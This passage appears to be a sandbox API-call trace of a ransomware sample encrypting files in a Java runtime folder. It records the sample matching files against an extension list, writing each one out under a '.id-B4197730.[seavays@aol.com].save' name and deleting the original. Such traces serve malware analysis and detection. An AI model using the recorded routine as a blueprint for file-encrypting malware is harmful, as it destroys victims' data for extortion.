(lpString=".1cd") returned 4 [0163.114] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0163.114] lstrlenW (lpString=".jpg") returned 4 [0163.114] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0163.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0163.114] lstrlenW (lpString=".doc") returned 4 [0163.114] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.114] lstrlenW (lpString=".docx") returned 5 [0163.114] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0163.114] lstrlenW (lpString=".pdf") returned 4 [0163.114] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.114] lstrlenW (lpString=".xls") returned 4 [0163.114] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.114] lstrlenW (lpString=".xlsx") returned 5 [0163.114] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0163.114] lstrlenW (lpString=".ppt") returned 4 [0163.114] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0163.114] lstrlenW (lpString=".zip") returned 4 [0163.114] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.114] lstrlenW (lpString=".rar") returned 4 [0163.115] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.115] lstrlenW (lpString=".bz2") returned 4 [0163.115] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.115] lstrlenW (lpString=".7z") returned 3 [0163.115] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0163.115] lstrlenW (lpString=".dbf") returned 4 [0163.115] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0163.115] lstrlenW (lpString=".1cd") returned 4 [0163.115] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0163.115] lstrlenW (lpString=".jpg") returned 4 [0163.115] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.115] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0163.115] lstrlenW (lpString="jaccess.jar") returned 11 [0163.115] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0163.123] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=44516) returned 1 [0163.123] CloseHandle (hObject=0x444) returned 1 [0163.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20 [0163.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.124] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0163.124] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.124] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.124] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0163.125] GetLastError () returned 0x0 [0163.125] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0xade4, lpOverlapped=0x0) returned 1 [0163.138] WriteFile (in: hFile=0x37c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xadf0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xadf0, lpOverlapped=0x0) returned 1 [0163.437] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.437] WriteFile (in: hFile=0x37c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xea, lpOverlapped=0x0) returned 1 [0163.438] SetEndOfFile (hFile=0x37c) returned 1 [0163.438] CloseHandle (hObject=0x37c) returned 1 [0163.438] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.438] SetEndOfFile (hFile=0x444) returned 1 [0163.441] CloseHandle (hObject=0x444) returned 1 [0163.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0163.442] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 1 [0163.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0163.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0163.442] lstrlenW (lpString=".doc") returned 4 [0163.442] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.442] lstrlenW (lpString=".docx") returned 5 [0163.443] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0163.443] lstrlenW (lpString=".pdf") returned 4 [0163.443] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.443] lstrlenW (lpString=".xls") returned 4 [0163.443] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.443] lstrlenW (lpString=".xlsx") returned 5 [0163.443] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0163.443] lstrlenW (lpString=".ppt") returned 4 [0163.443] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0163.443] lstrlenW (lpString=".zip") returned 4 [0163.443] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.443] lstrlenW (lpString=".rar") returned 4 [0163.443] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.443] lstrlenW (lpString=".bz2") returned 4 [0163.443] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.443] lstrlenW (lpString=".7z") returned 3 [0163.443] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0163.443] lstrlenW (lpString=".dbf") returned 4 [0163.443] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0163.443] lstrlenW (lpString=".1cd") returned 4 [0163.443] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0163.443] lstrlenW (lpString=".jpg") returned 4 [0163.443] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0163.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0163.443] lstrlenW (lpString=".doc") returned 4 [0163.443] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.444] lstrlenW (lpString=".docx") returned 5 [0163.444] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0163.444] lstrlenW (lpString=".pdf") returned 4 [0163.444] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.444] lstrlenW (lpString=".xls") returned 4 [0163.444] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.444] lstrlenW (lpString=".xlsx") returned 5 [0163.444] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0163.444] lstrlenW (lpString=".ppt") returned 4 [0163.444] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0163.444] lstrlenW (lpString=".zip") returned 4 [0163.444] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.444] lstrlenW (lpString=".rar") returned 4 [0163.444] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.444] lstrlenW (lpString=".bz2") returned 4 [0163.444] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.444] lstrlenW (lpString=".7z") returned 3 [0163.444] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0163.444] lstrlenW (lpString=".dbf") returned 4 [0163.444] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0163.444] lstrlenW (lpString=".1cd") returned 4 [0163.444] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0163.444] lstrlenW (lpString=".jpg") returned 4 [0163.444] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.444] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0163.445] lstrlenW (lpString="zipfs.jar") returned 9 [0163.445] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0163.445] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=68924) returned 1 [0163.445] CloseHandle (hObject=0x444) returned 1 [0163.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20 [0163.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.446] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0163.446] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.446] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.446] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0163.447] GetLastError () returned 0x0 [0163.447] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x10d3c, lpOverlapped=0x0) returned 1 [0163.450] WriteFile (in: hFile=0x37c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x10d40, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x10d40, lpOverlapped=0x0) returned 1 [0163.453] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.453] WriteFile (in: hFile=0x37c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xe6, lpOverlapped=0x0) returned 1 [0163.453] SetEndOfFile (hFile=0x37c) returned 1 [0163.453] CloseHandle (hObject=0x37c) returned 1 [0163.453] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.453] SetEndOfFile (hFile=0x444) returned 1 [0163.458] CloseHandle (hObject=0x444) returned 1 [0163.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0163.459] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 1 [0163.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0163.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0163.460] lstrlenW (lpString=".doc") returned 4 [0163.460] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.460] lstrlenW (lpString=".docx") returned 5 [0163.460] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0163.460] lstrlenW (lpString=".pdf") returned 4 [0163.460] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.460] lstrlenW (lpString=".xls") returned 4 [0163.460] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.460] lstrlenW (lpString=".xlsx") returned 5 [0163.460] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0163.460] lstrlenW (lpString=".ppt") returned 4 [0163.460] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0163.460] lstrlenW (lpString=".zip") returned 4 [0163.460] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.460] lstrlenW (lpString=".rar") returned 4 [0163.460] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.460] lstrlenW (lpString=".bz2") returned 4 [0163.460] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.460] lstrlenW (lpString=".7z") returned 3 [0163.461] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0163.461] lstrlenW (lpString=".dbf") returned 4 [0163.461] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0163.461] lstrlenW (lpString=".1cd") returned 4 [0163.461] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0163.461] lstrlenW (lpString=".jpg") returned 4 [0163.461] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0163.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0163.461] lstrlenW (lpString=".doc") returned 4 [0163.461] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.461] lstrlenW (lpString=".docx") returned 5 [0163.461] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0163.461] lstrlenW (lpString=".pdf") returned 4 [0163.461] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.461] lstrlenW (lpString=".xls") returned 4 [0163.461] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.461] lstrlenW (lpString=".xlsx") returned 5 [0163.461] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0163.461] lstrlenW (lpString=".ppt") returned 4 [0163.461] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0163.461] lstrlenW (lpString=".zip") returned 4 [0163.462] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.462] lstrlenW (lpString=".rar") returned 4 [0163.462] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.462] lstrlenW (lpString=".bz2") returned 4 [0163.462] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.462] lstrlenW (lpString=".7z") returned 3 [0163.462] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0163.462] lstrlenW (lpString=".dbf") returned 4 [0163.462] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0163.462] lstrlenW (lpString=".1cd") returned 4 [0163.462] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0163.462] lstrlenW (lpString=".jpg") returned 4 [0163.462] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.462] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0163.462] lstrlenW (lpString="flavormap.properties") returned 20 [0163.462] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0163.463] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=3928) returned 1 [0163.463] CloseHandle (hObject=0x444) returned 1 [0163.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20 [0163.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.464] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0163.464] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.464] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.464] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0163.487] GetLastError () returned 0x0 [0163.487] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0xf58, lpOverlapped=0x0) returned 1 [0163.490] WriteFile (in: hFile=0x37c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xf60, lpOverlapped=0x0) returned 1 [0163.491] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.491] WriteFile (in: hFile=0x37c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xfc, lpOverlapped=0x0) returned 1 [0163.491] SetEndOfFile (hFile=0x37c) returned 1 [0163.492] CloseHandle (hObject=0x37c) returned 1 [0163.492] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.492] SetEndOfFile (hFile=0x444) returned 1 [0163.998] CloseHandle (hObject=0x444) returned 1 [0163.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0164.086] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 1 [0164.250] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0164.250] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0164.250] lstrlenW (lpString=".doc") returned 4 [0164.250] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0164.250] lstrlenW (lpString=".docx") returned 5 [0164.250] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0164.250] lstrlenW (lpString=".pdf") returned 4 [0164.250] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0164.250] lstrlenW (lpString=".xls") returned 4 [0164.250] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0164.250] lstrlenW (lpString=".xlsx") returned 5 [0164.250] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0164.250] lstrlenW (lpString=".ppt") returned 4 [0164.250] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0164.250] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0164.251] lstrlenW (lpString=".zip") returned 4 [0164.251] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0164.251] lstrlenW (lpString=".rar") returned 4 [0164.251] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0164.251] lstrlenW (lpString=".bz2") returned 4 [0164.251] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0164.251] lstrlenW (lpString=".7z") returned 3 [0164.251] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0164.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0164.251] lstrlenW (lpString=".dbf") returned 4 [0164.251] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0164.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0164.251] lstrlenW (lpString=".1cd") returned 4 [0164.251] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0164.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0164.251] lstrlenW (lpString=".jpg") returned 4 [0164.251] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0164.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0164.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0164.251] lstrlenW (lpString=".doc") returned 4 [0164.251] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0164.251] lstrlenW (lpString=".docx") returned 5 [0164.251] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0164.251] lstrlenW (lpString=".pdf") returned 4 [0164.251] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0164.252] lstrlenW (lpString=".xls") returned 4 [0164.252] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0164.252] lstrlenW (lpString=".xlsx") returned 5 [0164.252] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0164.252] lstrlenW (lpString=".ppt") returned 4 [0164.252] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0164.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0164.252] lstrlenW (lpString=".zip") returned 4 [0164.252] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0164.252] lstrlenW (lpString=".rar") returned 